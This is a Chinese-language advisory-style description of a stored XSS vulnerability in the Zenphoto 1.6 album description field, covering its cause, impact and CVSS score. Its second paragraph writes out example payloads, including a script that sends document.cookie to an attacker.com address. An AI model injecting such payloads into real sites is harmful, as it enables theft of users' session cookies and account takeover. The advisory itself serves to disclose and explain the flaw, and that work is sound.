CVE-2023-53915CVE-2023-53915是Zenphoto 1.6版本中的一个存储型跨站脚本(XSS)漏洞。该漏洞允许已认证的攻击者通过在相册描述字段中注入恶意HTML或JavaScript代码来实现持久化的XSS攻击。Zenphoto是一款开源的内容管理系统,主要用于创建和管理在线相册。由于漏洞存在于存储型输入点,恶意脚本会被永久保存在服务器端,当其他用户访问包含恶意内容的相册页面时,嵌入的iframe或script标签会自动执行,从而窃取用户会话cookie、劫持用户账户或执行其他恶意操作。此漏洞的CVSS评分为4.6,属于中等严重程度,攻击复杂度低但需要低权限认证和用户交互才能触发。漏洞影响Zenphoto的机密性和完整性,可导致敏感信息泄露和网站内容篡改。
该存储型XSS漏洞源于Zenphoto 1.6对相册描述字段的输入验证和输出编码不充分。攻击者以低权限用户身份登录后,可访问相册创建或编辑功能,在描述字段中插入恶意代码,例如<iframe src=javascript:alert(document.cookie)>或<script>document.location='https://attacker.com/steal?c='+document.cookie</script>。由于应用程序未对用户输入进行严格的HTML过滤和字符转义,恶意代码被直接存储到数据库中。当其他用户(尤其是管理员)浏览该相册页面时,服务器从数据库取出未经过滤的内容并嵌入到HTML响应中,浏览器将其作为合法脚本执行。攻击者可利用此漏洞窃取受害者的会话令牌,以管理员身份进一步控制整个网站,甚至部署后门程序。漏洞的利用需要攻击者具有创建相册的权限,且需要诱导用户访问恶意页面才能触发。